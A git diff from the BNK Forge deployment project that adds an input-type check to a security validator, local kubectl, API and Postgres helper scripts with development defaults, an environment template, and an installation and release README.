"bnk-instance", + "manifest_version": "2.3.1-3.2598.3-0.0.304", + } + manifests = mod.render_manifests(variables) + assert manifests, "Expected at least one manifest" + assert manifests[0]["kind"] == "CNEInstance" + + def test_cneinstance_input_has_no_hardcoded_default(self): + """bnk_cr_kind InputSpec must have no default — catalog supplies it.""" + from modules.bare_metal.bnk_cneinstance import BnkCneInstanceSSHModule + spec = BnkCneInstanceSSHModule.inputs.get("bnk_cr_kind") + assert spec is not None + assert spec.default is None diff --git a/backend/utils/security.py b/backend/utils/security.py index 6f1ccdfb..409a98b8 100644 --- a/backend/utils/security.py +++ b/backend/utils/security.py @@ -146,6 +146,19 @@ def validate_action_inputs( continue # Free string (or unknown type): ends up as an argv token verbatim. + # + # Reject non-scalars rather than str()-ing them. A dict or list passed + # for a `type: string` input previously slipped through — validate_cli_arg + # saw the Python repr (a single token with no leading dash, so not + # flag-injection) and the RAW value was then stored and templated. Not + # exploitable as argv, but it silently accepts a shape the manifest did + # not declare, and what reaches the step is a Python repr rather than + # anything the artifact can parse (issue #96, N2). + if value is not None and not isinstance(value, (str, int, float, bool)): + raise ValueError( + f"Invalid value for action input '{name}': expected a " + f"{declared_type}, got {type(value).__name__}" + ) validate_cli_arg(name, None if value is None else str(value)) effective[name] = value diff --git a/bin/local/bnk-pods.sh b/bin/local/bnk-pods.sh new file mode 100755 index 00000000..8bccdb35 --- /dev/null +++ b/bin/local/bnk-pods.sh @@ -0,0 +1,97 @@ +#!/usr/bin/env bash +set -euo pipefail + +# MAF-LOCAL-PURPOSE: One-shot pods+events+logs snapshot for a kube context/namespace, replaces get/logs/describe loops + +############################################################################### +# bnk-pods.sh — one-shot pod diagnostics snapshot +# +# Usage: +# bin/local/bnk-pods.sh [namespace] +# bin/local/bnk-pods.sh --help +# +# Single invocation emits: `kubectl get pods -o wide`, recent namespace +# events, and the last N log lines for every pod that is not Ready — against +# the named context/namespace. Replaces repeated get/logs/describe loops. +# +# Env vars: +# BNK_PODS_NAMESPACE Default namespace when not given as arg (default: llm-egress) +# BNK_PODS_LOG_LINES Log tail length per pod (default: 100) +# +# Committed to this repo. Not managed by the MAF framework installer/updater — +# see bin/lib/install-engine.sh (enumerate_framework_managed_paths never +# globs bin/local/**). +############################################################################### + +usage() { + cat <<'USAGE_EOF' +bin/local/bnk-pods.sh [namespace] + +Arguments: + context kubectl context to use (required) + namespace kubectl namespace (default: llm-egress, or $BNK_PODS_NAMESPACE) + +Options: + --help, -h Show this help + +Env vars: + BNK_PODS_NAMESPACE default namespace when not given as arg + BNK_PODS_LOG_LINES log tail length per pod (default 100) +USAGE_EOF +} + +die() { + echo "bnk-pods: $*" >&2 + exit 1 +} + +need_bin() { + command -v "$1" >/dev/null 2>&1 || die "'$1' is required but not found in PATH" +} + +main() { + case "${1:-}" in + --help|-h) usage; exit 0 ;; + esac + + [[ $# -ge 1 ]] || { usage >&2; die "requires "; } + local context="$1" + local namespace="${2:-${BNK_PODS_NAMESPACE:-llm-egress}}" + local log_lines="${BNK_PODS_LOG_LINES:-100}" + + need_bin kubectl + + kubectl config get-contexts -o name 2>/dev/null | grep -qx "$context" \ + || die "kubectl context '$context' not found (kubectl config get-contexts)" + + local -a kc=(kubectl --context "$context" -n "$namespace") + + "${kc[@]}" get namespace "$namespace" >/dev/null 2>&1 \ + || die "namespace '$namespace' not reachable in context '$context'" + + echo "=== pods ($context / $namespace) ===" + "${kc[@]}" get pods -o wide + + echo + echo "=== recent events ($context / $namespace) ===" + "${kc[@]}" get events --sort-by=.lastTimestamp | tail -n 30 + + local not_ready + not_ready="$("${kc[@]}" get pods --no-headers 2>/dev/null | awk '{split($2,a,"/"); if (a[1] != a[2]) print $1}')" + + if [[ -z "$not_ready" ]]; then + echo + echo "=== all pods Ready, no logs to show ===" + return 0 + fi + + local pod + while IFS= read -r pod; do + [[ -n "$pod" ]] || continue + echo + echo "=== logs: $pod (last $log_lines lines) ===" + "${kc[@]}" logs "$pod" --all-containers --tail="$log_lines" 2>&1 || echo "(log fetch failed for $pod)" + done <<<"$not_ready" +} + +main "$@" diff --git a/bin/local/forge-api.sh b/bin/local/forge-api.sh new file mode 100755 index 00000000..924b3d3f --- /dev/null +++ b/bin/local/forge-api.sh @@ -0,0 +1,168 @@ +#!/usr/bin/env bash +set -euo pipefail + +# MAF-LOCAL-PURPOSE: Authenticated curl wrapper for the Forge API - caches the login token, re-auths on 401, retries once + +############################################################################### +# forge-api.sh — authenticated Forge API client +# +# Usage: +# bin/local/forge-api.sh [--data ''] [--jq ''] +# bin/local/forge-api.sh --help +# +# Examples: +# bin/local/forge-api.sh GET /api/clusters +# bin/local/forge-api.sh GET /api/clusters --jq '.[].name' +# bin/local/forge-api.sh POST /api/clusters --data '{"name":"foo"}' +# +# Logs in once against POST /api/auth/login, caches the resulting token in a +# per-user file under $TMPDIR (never committed, never printed to stdout), and +# transparently re-authenticates + retries once on a 401 response. Accepts +# either the `token` or `access_token` response key (both have been observed +# in the wild). +# +# Env vars: +# FORGE_API_BASE_URL Base URL (default: https://localhost) +# FORGE_API_USER Login username (default: admin) +# FORGE_API_PASSWORD Login password (default: admin123) +# FORGE_API_INSECURE Set to 0 to disable curl -k (default: 1, self-signed local cert) +# +# Committed to this repo. Not managed by the MAF framework installer/updater — +# see bin/lib/install-engine.sh (enumerate_framework_managed_paths never +# globs bin/local/**). +############################################################################### + +BASE_URL="${FORGE_API_BASE_URL:-https://localhost}" +API_USER="${FORGE_API_USER:-admin}" +API_PASSWORD="${FORGE_API_PASSWORD:-admin123}" +INSECURE="${FORGE_API_INSECURE:-1}" + +TOKEN_CACHE="${TMPDIR:-/tmp}/forge-api-token-${API_USER}.cache" +RESP_BODY="$(mktemp)" + +cleanup() { rm -f "$RESP_BODY"; } +trap cleanup EXIT + +CURL_BASE_ARGS=(-s --connect-timeout 5 --max-time 30) +[[ "$INSECURE" == "1" ]] && CURL_BASE_ARGS+=(-k) + +usage() { + cat <<'USAGE_EOF' +bin/local/forge-api.sh [--data ''] [--jq ''] + +Authenticated curl wrapper for the Forge API. Logs in once, caches the +token, re-authenticates and retries once on 401. + +Arguments: + METHOD HTTP method: GET, POST, PUT, PATCH, DELETE + path API path, e.g. /api/clusters + +Options: + --data '' Request body (JSON string) + --jq '' Pipe the response body through this jq expression + --help, -h Show this help + +Env vars: + FORGE_API_BASE_URL default https://localhost + FORGE_API_USER default admin + FORGE_API_PASSWORD default admin123 + FORGE_API_INSECURE default 1 (curl -k for self-signed local cert) +USAGE_EOF +} + +die() { + echo "forge-api: $*" >&2 + exit 1 +} + +need_bin() { + command -v "$1" >/dev/null 2>&1 || die "'$1' is required but not found in PATH" +} + +# login — hit POST /api/auth/login, cache the token, never echo it. +login() { + local body http_code token + body="$(printf '{"username":"%s","password":"%s"}' "$API_USER" "$API_PASSWORD")" + + http_code="$(curl "${CURL_BASE_ARGS[@]}" -o "$RESP_BODY" -w '%{http_code}' \ + -X POST "$BASE_URL/api/auth/login" \ + -H 'Content-Type: application/json' \ + -d "$body")" || die "login request failed (network error contacting $BASE_URL)" + + [[ "$http_code" == "200" ]] || die "login failed: HTTP $http_code from $BASE_URL/api/auth/login" + + token="$(jq -r '.token // .access_token // empty' "$RESP_BODY")" + [[ -n "$token" ]] || die "login response had neither 'token' nor 'access_token' field" + + umask 077 + printf '%s' "$token" > "$TOKEN_CACHE" +} + +cached_token() { + # Always return 0: an absent cache is not an error (set -e would otherwise + # kill the script silently before login gets a chance to run). + [[ -f "$TOKEN_CACHE" ]] && cat "$TOKEN_CACHE" + return 0 +} + +# do_request — writes response body to $RESP_BODY, prints http code. +do_request() { + local method="$1" path="$2" data="$3" token="$4" + local -a args=("${CURL_BASE_ARGS[@]}" -o "$RESP_BODY" -w '%{http_code}' -X "$method" "$BASE_URL$path" -H "Authorization: Bearer $token") + [[ -n "$data" ]] && args+=(-H 'Content-Type: application/json' -d "$data") + curl "${args[@]}" || die "request failed (network error contacting $BASE_URL for $method $path)" +} + +main() { + local method="" path="" data="" jq_expr="" + + case "${1:-}" in + --help|-h) usage; exit 0 ;; + esac + + [[ $# -ge 2 ]] || { usage >&2; die "requires "; } + method="$1"; shift + path="$1"; shift + + while [[ $# -gt 0 ]]; do + case "$1" in + --data) + [[ $# -ge 2 ]] || die "--data requires a value" + data="$2"; shift 2 ;; + --jq) + [[ $# -ge 2 ]] || die "--jq requires a value" + jq_expr="$2"; shift 2 ;; + --help|-h) usage; exit 0 ;; + *) die "unknown argument '$1' (see --help)" ;; + esac + done + + need_bin curl + need_bin jq + + local token http_code + token="$(cached_token)" + [[ -n "$token" ]] || { login; token="$(cached_token)"; } + + http_code="$(do_request "$method" "$path" "$data" "$token")" + + if [[ "$http_code" == "401" ]]; then + login + token="$(cached_token)" + http_code="$(do_request "$method" "$path" "$data" "$token")" + fi + + if [[ "$http_code" -lt 200 || "$http_code" -ge 300 ]]; then + cat "$RESP_BODY" >&2 + die "request failed: HTTP $http_code for $method $path" + fi + + if [[ -n "$jq_expr" ]]; then + jq -r "$jq_expr" "$RESP_BODY" + else + cat "$RESP_BODY" + echo + fi +} + +main "$@" diff --git a/bin/local/forge-db.sh b/bin/local/forge-db.sh new file mode 100755 index 00000000..8ba1108c --- /dev/null +++ b/bin/local/forge-db.sh @@ -0,0 +1,121 @@ +#!/usr/bin/env bash +set -euo pipefail + +# MAF-LOCAL-PURPOSE: docker-exec psql wrapper - resolves pg user/db from the running container, no hardcoded credentials + +############################################################################### +# forge-db.sh — Forge Postgres query wrapper +# +# Usage: +# bin/local/forge-db.sh sql '' +# bin/local/forge-db.sh tables [pattern] +# bin/local/forge-db.sh cols +# bin/local/forge-db.sh --help +# +# Resolves POSTGRES_USER / POSTGRES_DB from the running container's own +# environment (docker exec ... env) on every invocation — no hardcoded +# user/db guessing. +# +# Env vars: +# FORGE_DB_CONTAINER Container name (default: bnk-forge-postgres) +# +# Committed to this repo. Not managed by the MAF framework installer/updater — +# see bin/lib/install-engine.sh (enumerate_framework_managed_paths never +# globs bin/local/**). +############################################################################### + +CONTAINER="${FORGE_DB_CONTAINER:-bnk-forge-postgres}" + +usage() { + cat <<'USAGE_EOF' +bin/local/forge-db.sh [args] + +Subcommands: + sql '' Run an arbitrary SQL statement + tables [pattern] List public tables, optionally filtered (ILIKE %pattern%) + cols
List columns + types for
+ +Options: + --help, -h Show this help + +Env vars: + FORGE_DB_CONTAINER default bnk-forge-postgres +USAGE_EOF +} + +die() { + echo "forge-db: $*" >&2 + exit 1 +} + +need_bin() { + command -v "$1" >/dev/null 2>&1 || die "'$1' is required but not found in PATH" +} + +require_container() { + docker inspect -f '{{.State.Running}}' "$CONTAINER" 2>/dev/null | grep -q true \ + || die "container '$CONTAINER' is not running (set FORGE_DB_CONTAINER to override)" +} + +# resolve_pg_env — sets PG_USER / PG_DB from the container's own environment. +resolve_pg_env() { + local env_out + env_out="$(docker exec "$CONTAINER" env)" || die "failed to read env from container '$CONTAINER'" + + PG_USER="$(echo "$env_out" | grep '^POSTGRES_USER=' | cut -d= -f2-)" + PG_DB="$(echo "$env_out" | grep '^POSTGRES_DB=' | cut -d= -f2-)" + + [[ -n "$PG_USER" ]] || die "POSTGRES_USER not found in container '$CONTAINER' env" + [[ -n "$PG_DB" ]] || die "POSTGRES_DB not found in container '$CONTAINER' env" +} + +run_psql() { + local sql="$1" + docker exec -i "$CONTAINER" psql -U "$PG_USER" -d "$PG_DB" -v ON_ERROR_STOP=1 -c "$sql" +} + +cmd_sql() { + local sql="${1:-}" + [[ -n "$sql" ]] || die "sql: requires a SQL string" + run_psql "$sql" +} + +cmd_tables() { + local pattern="${1:-}" sql + if [[ -n "$pattern" ]]; then + pattern="${pattern//"'"/"''"}" + sql="SELECT table_name FROM information_schema.tables WHERE table_schema='public' AND table_name ILIKE '%${pattern}%' ORDER BY table_name;" + else + sql="SELECT table_name FROM information_schema.tables WHERE table_schema='public' ORDER BY table_name;" + fi + run_psql "$sql" +} + +cmd_cols() { + local table="${1:-}" + [[ -n "$table" ]] || die "cols: requires
" + table="${table//"'"/"''"}" + run_psql "SELECT column_name, data_type, is_nullable FROM information_schema.columns WHERE table_schema='public' AND table_name='${table}' ORDER BY ordinal_position;" +} + +main() { + case "${1:-}" in + --help|-h) usage; exit 0 ;; + esac + + [[ $# -ge 1 ]] || { usage >&2; die "requires a subcommand"; } + + need_bin docker + require_container + resolve_pg_env + + local sub="$1"; shift + case "$sub" in + sql) cmd_sql "$@" ;; + tables) cmd_tables "$@" ;; + cols) cmd_cols "$@" ;; + *) die "unknown subcommand '$sub' (see --help)" ;; + esac +} + +main "$@" diff --git a/bin/local/wait-for.sh b/bin/local/wait-for.sh new file mode 100755 index 00000000..8985c1dd --- /dev/null +++ b/bin/local/wait-for.sh @@ -0,0 +1,126 @@ +#!/usr/bin/env bash +set -euo pipefail + +# MAF-LOCAL-PURPOSE: Backoff-poll a URL or pod selector until ready, exits non-zero on timeout instead of guessed sleeps + +############################################################################### +# wait-for.sh — poll-until-ready, replaces guessed sleep durations +# +# Usage: +# bin/local/wait-for.sh --url [--timeout N] +# bin/local/wait-for.sh --pod [--context c] [--namespace ns] [--timeout N] +# bin/local/wait-for.sh --help +# +# Polls with exponential backoff (1s, 2s, 4s, ... capped at 10s) until the +# URL returns a 2xx/3xx response or the pod selector matches an all-Ready +# pod. Exits non-zero when --timeout elapses. +# +# Committed to this repo. Not managed by the MAF framework installer/updater — +# see bin/lib/install-engine.sh (enumerate_framework_managed_paths never +# globs bin/local/**). +############################################################################### + +usage() { + cat <<'USAGE_EOF' +bin/local/wait-for.sh --url [--timeout N] +bin/local/wait-for.sh --pod [--context c] [--namespace ns] [--timeout N] + +Options: + --url Poll this URL until it returns HTTP 2xx/3xx (or 401/403 - service up, auth required) + --pod Poll `kubectl get pods -l ` until all matched pods are Ready + --context kubectl context (used with --pod) + --namespace kubectl namespace (used with --pod, default: default) + --timeout Max seconds to wait (default: 120) + --help, -h Show this help +USAGE_EOF +} + +die() { + echo "wait-for: $*" >&2 + exit 1 +} + +need_bin() { + command -v "$1" >/dev/null 2>&1 || die "'$1' is required but not found in PATH" +} + +# check_url — ready when the URL returns 2xx/3xx, or 401/403 (service is up +# and routing; it just wants auth — e.g. https://localhost/api/health is +# auth-gated behind the proxy, only /api/system/health is exempt). +check_url() { + local url="$1" code + code="$(curl -sk -o /dev/null -w '%{http_code}' --connect-timeout 2 --max-time 5 "$url" 2>/dev/null || echo 000)" + [[ "$code" -ge 200 && "$code" -lt 400 ]] || [[ "$code" == "401" || "$code" == "403" ]] +} + +check_pod() { + local selector="$1" context="$2" namespace="$3" + local -a kc=(kubectl) + [[ -n "$context" ]] && kc+=(--context "$context") + kc+=(-n "$namespace" get pods -l "$selector" --no-headers) + + local out + out="$("${kc[@]}" 2>/dev/null)" || return 1 + [[ -n "$out" ]] || return 1 + + while IFS= read -r line; do + local ready + ready="$(awk '{print $2}' <<<"$line")" + local have="${ready%/*}" want="${ready#*/}" + [[ "$have" == "$want" ]] || return 1 + done <<<"$out" + return 0 +} + +main() { + local mode="" target="" context="" namespace="default" timeout=120 + + while [[ $# -gt 0 ]]; do + case "$1" in + --url) + [[ $# -ge 2 ]] || die "--url requires a value" + mode="url"; target="$2"; shift 2 ;; + --pod) + [[ $# -ge 2 ]] || die "--pod requires a value" + mode="pod"; target="$2"; shift 2 ;; + --context) + [[ $# -ge 2 ]] || die "--context requires a value" + context="$2"; shift 2 ;; + --namespace) + [[ $# -ge 2 ]] || die "--namespace requires a value" + namespace="$2"; shift 2 ;; + --timeout) + [[ $# -ge 2 ]] || die "--timeout requires a value" + timeout="$2"; shift 2 ;; + --help|-h) usage; exit 0 ;; + *) die "unknown argument '$1' (see --help)" ;; + esac + done + + [[ -n "$mode" ]] || { usage >&2; die "requires --url or --pod"; } + + need_bin curl + [[ "$mode" == "pod" ]] && need_bin kubectl + + local start elapsed interval=1 + start="$(date +%s)" + + while true; do + if [[ "$mode" == "url" ]]; then + check_url "$target" && { echo "wait-for: ready — $target"; exit 0; } + else + check_pod "$target" "$context" "$namespace" && { echo "wait-for: ready — pod selector '$target'"; exit 0; } + fi + + elapsed=$(( $(date +%s) - start )) + if [[ "$elapsed" -ge "$timeout" ]]; then + die "timed out after ${timeout}s waiting for $mode target '$target'" + fi + + sleep "$interval" + interval=$(( interval * 2 )) + [[ "$interval" -gt 10 ]] && interval=10 + done +} + +main "$@" diff --git a/dist/.env.example b/dist/.env.example new file mode 100644 index 00000000..0eaa12b2 --- /dev/null +++ b/dist/.env.example @@ -0,0 +1,48 @@ +# ============================================================================= +# BNK Forge — Environment Configuration +# ============================================================================= +# Copy this file to .env and customize before first start: +# cp .env.example .env +# +# All values have safe defaults for development. Change passwords for production! + +# ── Compose project name ───────────────────────────────────────────────────── +# Keeps container/volume names stable across versions and extract directories +# (volumes are named _). Without this, Compose derives the name +# from the directory name and strips dots, which can produce a different prefix +# than you expect (e.g. "bnk-forge-310" instead of "bnk-forge"). +COMPOSE_PROJECT_NAME=bnk-forge + +# ── Container Registry ────────────────────────────────────────────────────── +# Where to pull BNK Forge images from (no trailing slash) +BNK_FORGE_REGISTRY=ghcr.io/your-org +BNK_FORGE_VERSION=3.0.1 + +# ── Database ──────────────────────────────────────────────────────────────── +POSTGRES_PASSWORD=bnkforge_dev_password + +# ── Redis ─────────────────────────────────────────────────────────────────── +REDIS_PASSWORD=bnkforge_redis_dev + +# ── MCP Server (AI assistant integration) ─────────────────────────────────── +# Must match a valid BNK Forge user. Default: admin/changeme +MCP_USERNAME=admin +MCP_PASSWORD=changeme + +# ── Container (artifact) engine — Docker socket proxy ─────────────────────── +# The container-image deployment engine runs each artifact step as a sibling +# container via the scoped `docker-socket-proxy` service (never the raw host +# socket). That proxy publishes to the host loopback, so services reach it at +# tcp://127.0.0.1:2375. Only override if you front the daemon differently. +# DOCKER_HOST=tcp://127.0.0.1:2375 + +# ── Deploy Mode ───────────────────────────────────────────────────────────── +# "server" for Linux (host networking), "local" for macOS/Windows (bridge) +# This is set automatically by docker-compose.local.yml overlay +# BNK_FORGE_DEPLOY_MODE=server + +# ── Branding ───────────────────────────────────────────────────────────────── +# Default (unset): neutral anvil/Forge branding — suitable for external use. +# Set BRAND=f5 for internal/UDF deployments to show the F5 ball logo. +# No rebuild required — restart the frontend container to apply. +# BRAND=f5 diff --git a/dist/.gitignore b/dist/.gitignore index c96a04f0..8d76652d 100644 --- a/dist/.gitignore +++ b/dist/.gitignore @@ -1,2 +1,28 @@ * -!.gitignore \ No newline at end of file +!.gitignore + +# Release artifacts that are deliberately TRACKED. dist/ is otherwise a build +# output dir, so everything above is ignored — but these are the shipped +# installer and its templates, referenced by README.md, the Makefile, +# .github/workflows/release.yml and scripts/ibm_cloud_bnk_forge.sh. +# They were previously kept only by `git add -f`, which does not survive an +# export built from the working tree. +!.env.example +!README.md +!VERSION +!docker-compose.yml +!docker-compose.local.yml +!install.sh +!uninstall.sh +!nginx/ +# Named explicitly rather than `nginx/*.conf`. Both files are produced by the +# `dist` target (Makefile: cp proxy/nginx.local.conf, cp frontend-v2/...), so +# this directory holds derived artifacts that happen to be committed. A glob +# would auto-track any future .conf appearing here -- generated, stray, or +# local-only -- which is what the leading `*` exists to prevent. +# The trade is that the list must stay deliberate: if you add a conf to the +# `dist` target, add it here too or it will not be tracked. +!nginx/frontend.local.conf +!nginx/proxy.local.conf +!secrets/ +!secrets/.gitkeep diff --git a/dist/README.md b/dist/README.md new file mode 100644 index 00000000..7c0c0118 --- /dev/null +++ b/dist/README.md @@ -0,0 +1,366 @@ +# BNK Forge — Installation Guide + +## Prerequisites + +- **Docker Engine 24+** with **Docker Compose v2.24+** +- Access to the BNK Forge container registry (if private) +- 4 GB RAM minimum (8 GB recommended) +- 10 GB disk space + +## Quick Start + +### 1. Download and extract + +```bash +tar xzf bnk-forge-3.0.1.tar.gz +cd bnk-forge-3.0.1 +``` + +### 2. Configure + +```bash +cp .env.example .env +nano .env # Set BNK_FORGE_REGISTRY and passwords +``` + +**Required settings in `.env`:** + +| Variable | Description | Example | +|---|---|---| +| `BNK_FORGE_REGISTRY` | Container registry URL (no trailing slash) | `ghcr.io/your-org` | +| `BNK_FORGE_VERSION` | Image version tag | `3.0.1` | +| `POSTGRES_PASSWORD` | PostgreSQL password | *(change for production)* | +| `REDIS_PASSWORD` | Redis password | *(change for production)* | + +### 3. Authenticate to registry (if private) + +```bash +# GitHub Container Registry +echo $GITHUB_TOKEN | docker login ghcr.io -u USERNAME --password-stdin + +# Docker Hub +docker login + +# AWS ECR +aws ecr get-login-password | docker login --username AWS --password-stdin ACCOUNT.dkr.ecr.REGION.amazonaws.com +``` + +### 4. Install + +**Linux server** (host networking — production): +```bash +chmod +x install.sh +./install.sh +``` + +**macOS / Windows laptop** (bridge networking — development): +```bash +chmod +x install.sh +./install.sh --local +``` + +### 5. Access + +- **Mac/Windows (`--local`):** open **https://localhost** +- **Linux server:** open **https://\** — the installer prints the exact URL at the end + +Accept the self-signed certificate warning. Login: **admin** / **changeme** + +--- + +## Manual Installation (without install.sh) + +> **Create the artifact runner network first.** The container-image engine runs +> each artifact step on a dedicated bridge network (`bnk-forge-artifacts`) so +> artifact containers don't share the default bridge with the rest of the host. +> `docker compose up` does **not** create it — no service references it, and +> under host networking none can — so without this step every container-engine +> deployment fails with `network not found`. `install.sh` does this for you; a +> manual install must do it explicitly. It is idempotent. +> +> Any non-overlapping subnet works — `install.sh` doesn't hardcode a single +> default (a fixed `10.200.0.0/24` collided on one field site); it resolves +> one automatically, but only the FIRST time it creates the network: an +> explicit `ARTIFACT_NETWORK_SUBNET=` (or `auto` to defer to Docker's +> `default-address-pools`) wins, otherwise it picks the first non-colliding +> entry from `ARTIFACT_NETWORK_SUBNET_CANDIDATES` against the host's routes. +> Both may be set in `.env`. To dedicate a Docker pool for `auto` mode, add to +> `/etc/docker/daemon.json` and restart docker: +> ```json +> { "default-address-pools": [ { "base": "192.168.200.0/20", "size": 24 } ] } +> ``` +> +> On a re-run against an existing network, `install.sh` is a no-op here +> except for a one-time warning if you've pinned an explicit CIDR that no +> longer matches what's actually there — it never re-detects (the network's +> own subnet would otherwise look like a collision with itself). + +### Linux Server + +```bash +cp .env.example .env +# Edit .env with your registry and passwords +docker network create --driver bridge --subnet 10.200.0.0/24 bnk-forge-artifacts # once; skip if it exists; any free --subnet works +docker compose pull +docker compose up -d +``` + +### macOS / Windows Laptop + +```bash +cp .env.example .env +# Edit .env with your registry and passwords +docker network create --driver bridge --subnet 10.200.0.0/24 bnk-forge-artifacts # once; skip if it exists; any free --subnet works +docker compose -f docker-compose.yml -f docker-compose.local.yml pull +docker compose -f docker-compose.yml -f docker-compose.local.yml up -d +``` + +--- + +## Operations + +### Check status +```bash +docker compose ps +curl -sf http://localhost:8000/api/system/health | python3 -m json.tool +``` + +### View logs +```bash +docker compose logs -f --tail 50 # All services +docker compose logs -f backend # Backend only +``` + +### Stop / Uninstall +```bash +./uninstall.sh # Stop containers (keeps data) +./uninstall.sh --purge # Stop + delete all data (⚠️ destructive) +./uninstall.sh --purge --force # Same, skip confirmation prompts +``` + +Or manually: +```bash +docker compose down # Stop containers (keeps data) +docker compose down -v # Stop + delete all data (⚠️ destructive) +``` + +### Upgrade +```bash +# Update BNK_FORGE_VERSION in .env, then: +docker compose pull +docker compose up -d --force-recreate +``` + +### Backup database +```bash +docker exec bnk-forge-postgres pg_dump -U bnkforge bnkforge | gzip > backup_$(date +%Y%m%d).sql.gz +``` + +### Restore database +```bash +gunzip -c backup_20260417.sql.gz | docker exec -i bnk-forge-postgres psql -U bnkforge bnkforge +``` + +--- + +## Architecture + +| Service | Image | Port | Purpose | +|---|---|---|---| +| backend | bnk-forge-api | 8000 | FastAPI REST API | +| celery-worker | bnk-forge-worker | — | Async task execution (OpenTofu, Helm) | +| celery-worker-2 | bnk-forge-worker | — | Additional worker capacity | +| celery-beat | bnk-forge-beat | — | Periodic task scheduler | +| frontend | bnk-forge-frontend | 8080 | React SPA (nginx) | +| proxy | bnk-forge-proxy | 80, 443 | TLS termination + reverse proxy | +| mcp | bnk-forge-mcp | 8081 | AI assistant MCP server | +| postgres | postgres:16-alpine | 5432 | PostgreSQL database | +| redis | redis:7-alpine | 6379 | Task queue + caching | +| docker-socket-proxy | tecnativa/docker-socket-proxy | 127.0.0.1:2375 | Scoped Docker API for the artifact (container-image) engine | + +--- + +## File Structure + +``` +bnk-forge-3.0.1/ +├── docker-compose.yml # Main compose (Linux server — host networking) +├── docker-compose.local.yml # Overlay for macOS/Windows (bridge networking) +├── .env.example # Configuration template +├── VERSION # Version file +├── install.sh # One-command installer +├── uninstall.sh # Uninstaller (stop + optional data purge) +├── README.md # This file +├── nginx/ +│ ├── proxy.local.conf # Proxy nginx config for local mode +│ └── frontend.local.conf # Frontend nginx config for local mode +└── secrets/ # Mount point for credentials (FAR, etc.) +``` + +## Publishing a Release (for maintainers) + +This section is for maintainers who build and publish new releases. + +### Prerequisites + +- GitHub CLI installed: `brew install gh` +- Authenticated: `gh auth login` +- Docker with buildx support (included in Docker Desktop) + +### Step 1: Set up multi-arch builder (one-time) + +```bash +cd /path/to/bnk-forge +make buildx-setup +``` + +This registers QEMU emulators for cross-platform builds and creates a `docker-container` buildx builder named `bnk-forge-multiarch` that supports both `linux/amd64` and `linux/arm64`. + +> **Docker Desktop users:** QEMU is already included — `buildx-setup` will detect this automatically. +> +> **Linux servers:** Requires `qemu-user-static` or `tonistiigi/binfmt` (installed automatically by the target). + +### Step 2: Build the distribution tarball + +```bash +make dist +``` + +This creates `dist/bnk-forge-VERSION.tar.gz` containing all files needed for installation. + +### Step 3: Push multi-arch Docker images to registry + +```bash +# Authenticate to your registry first +echo $GITHUB_TOKEN | docker login ghcr.io -u USERNAME --password-stdin + +# Build + push all images for amd64 + arm64 (default) +make push-images BNK_FORGE_REGISTRY=ghcr.io/your-org + +# Or push only amd64 (faster, if you don't need ARM) +make push-images BNK_FORGE_REGISTRY=ghcr.io/your-org PLATFORMS=linux/amd64 +``` + +This uses `docker buildx build --push` to build all 6 images (api, worker, beat, frontend, proxy, mcp) for both architectures and push **multi-arch manifest lists** to the registry. Each tag (e.g., `bnk-forge-api:3.0.1`) is a manifest that Docker automatically resolves to the correct platform on `docker pull`. + +**Verify the manifest:** +```bash +docker manifest inspect ghcr.io/your-org/bnk-forge-api:3.0.1 +``` + +You should see entries for both `linux/amd64` and `linux/arm64`. + +### Step 4: Create GitHub Release + +```bash +VERSION=$(cat VERSION) +gh release create v${VERSION} dist/bnk-forge-${VERSION}.tar.gz \ + --title "BNK Forge ${VERSION}" \ + --notes "Release notes here" +``` + +**Useful flags:** +- `--draft` — Create a draft release (not visible until published) +- `--prerelease` — Mark as pre-release +- `--generate-notes` — Auto-generate release notes from commits + +### What `gh release create` does + +1. Creates a Git tag (`v3.0.1`) on the current commit +2. Creates a GitHub Release page at `https://github.com/your-org/bnk-forge/releases/tag/v3.0.1` +3. Uploads the tarball as a downloadable release asset + +### End-user download URL + +After publishing, users can download and install with: + +```bash +# Download from GitHub Releases +curl -L https://github.com/your-org/bnk-forge/releases/download/v3.0.1/bnk-forge-3.0.1.tar.gz | tar xz +cd bnk-forge-3.0.1 +./install.sh +``` + +--- + +## Troubleshooting + +**Backend won't start:** +```bash +docker logs bnk-forge-backend +``` + +**Can't pull images:** +```bash +# Verify registry auth +docker pull ${BNK_FORGE_REGISTRY}/bnk-forge-api:${BNK_FORGE_VERSION} +``` + +**Port conflicts:** +```bash +# Check what's using port 443/8000 +lsof -i :443 +lsof -i :8000 +``` +**On Mac exec format error:** +``` +make dist + +... + +=> ERROR [base 2/4] RUN groupadd -g 999 docker || true && groupadd -g 1000 bnkforge && useradd -m -u 1000 -g bnkforge -G docker -s /bin/bash bnkforge 0.0s +------ + > [base 2/4] RUN groupadd -g 999 docker || true && groupadd -g 1000 bnkforge && useradd -m -u 1000 -g bnkforge -G docker -s /bin/bash bnkforge: +------ +Dockerfile:45 + +-------------------- + + 44 | # Create docker group with GID 999 (common on Linux hosts) for socket access + + 45 | >>> RUN groupadd -g 999 docker || true && \ + + 46 | >>> groupadd -g ${GID} bnkforge && \ + + 47 | >>> useradd -m -u ${UID} -g bnkforge -G docker -s /bin/bash bnkforge + + 48 | + +-------------------- + +failed to solve: failed to compute cache key: failed to get stream processor for application/vnd.oci.image.layer.v1.tar+gzip: fork/exec /usr/bin/unpigz: exec format error +``` +Restart Docker Desktop + +**Container bnk-forge-backend Error:** + +When running `make deploy` or `make local-deploy` or `./install`. This can be cause by out of sync `alembic_version` and what is in the /alembic/versions files. This usually only occurs when you have an existing postgres database already running with a previous version. +``` +=== Starting all services === +[+] up 10/10 + ✔ Container bnk-forge-postgres Healthy 4.5s + ✔ Container bnk-forge-postgres-backup Started 4.0s + ✔ Container bnk-forge-redis Healthy 4.5s + ✘ Container bnk-forge-backend Error dependency backend failed to start 10.5s + ✔ Container bnk-forge-celery-worker-2 Created 0.2s + ✔ Container bnk-forge-frontend Created 0.1s + ✔ Container bnk-forge-mcp Created 0.1s + ✔ Container bnk-forge-celery-beat Created 0.2s + ✔ Container bnk-forge-celery-worker Created 0.2s + ✔ Container bnk-forge-proxy Created + +``` + +Check the version in the database table: +```bash +docker exec bnk-forge-postgres psql -U bnkforge -d bnkforge -c "SELECT * from alembic_version" + version_num +------------- + v2_060 +(1 row) +``` + +Update the version to the highest version in /alembic/versions +```bash +docker exec bnk-forge-postgres psql -U bnkforge -d bnkforge -c "UPDATE alembic_version SET version_num = 'v2_056' WHERE version_num = 'v2_060';" 2>&1 +``` \ No newline at end of file diff --git a/dist/VERSION b/dist/VERSION new file mode 100644 index 00000000..9cec7165 --- /dev/null +++ b/dist/VERSION @@ 